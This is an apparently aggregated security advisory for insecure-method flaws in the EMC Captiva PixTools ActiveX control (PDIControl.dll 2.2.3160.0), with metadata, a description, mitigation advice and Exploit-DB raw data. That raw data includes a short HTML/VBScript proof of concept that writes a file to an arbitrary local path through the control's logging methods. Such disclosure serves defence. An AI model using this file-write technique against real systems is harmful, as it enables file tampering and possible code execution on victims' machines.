EMC Captiva PixTools Distributed Imaging ActiveX Control Multiple Insecure-Method Vulnerabilities

vendor:

Captiva PixTools Distributed Imaging

by:

SecurityFocus

7.5

CVSS

HIGH

Multiple Insecure-Method Vulnerabilities

264

CWE

Product Name: Captiva PixTools Distributed Imaging

Affected Version From: 2.2.3160.0

Affected Version To: 2.2.3160.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:emc:captiva_pixtools_distributed_imaging:2.2.3160.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

EMC Captiva PixTools Distributed Imaging ActiveX Control Multiple Insecure-Method Vulnerabilities

The EMC Captiva PixTools Distributed Imaging ActiveX control is prone to multiple insecure-method vulnerabilities that affect the PDIControl.PDI.1 ActiveX control (PDIControl.dll). Successfully exploiting these issues allows remote attackers to create or overwrite arbitrary local files, which may lead to arbitrary code execution. An example of the exploit code is given in the text.

Mitigation:

Users should avoid visiting untrusted websites and clicking on links provided by unknown or untrusted sources. Additionally, users should keep their system and applications up-to-date with the latest patches and security updates.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/36566/info

The EMC Captiva PixTools Distributed Imaging ActiveX control is prone to multiple insecure-method vulnerabilities that affect the PDIControl.PDI.1 ActiveX control (PDIControl.dll).

Successfully exploiting these issues allows remote attackers to create or overwrite arbitrary local files, which may lead to arbitrary code execution.

PDIControl.dll 2.2.3160.0 is vulnerable; other versions may also be affected. 

<object classid='clsid:00200338-3D33-4FFC-AC20-67AA234325F3' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.SetLogLevel 1 test.SetLogFileName "c:\some.txt" test.WriteToLog 1, "Hello World!" End Sub </script>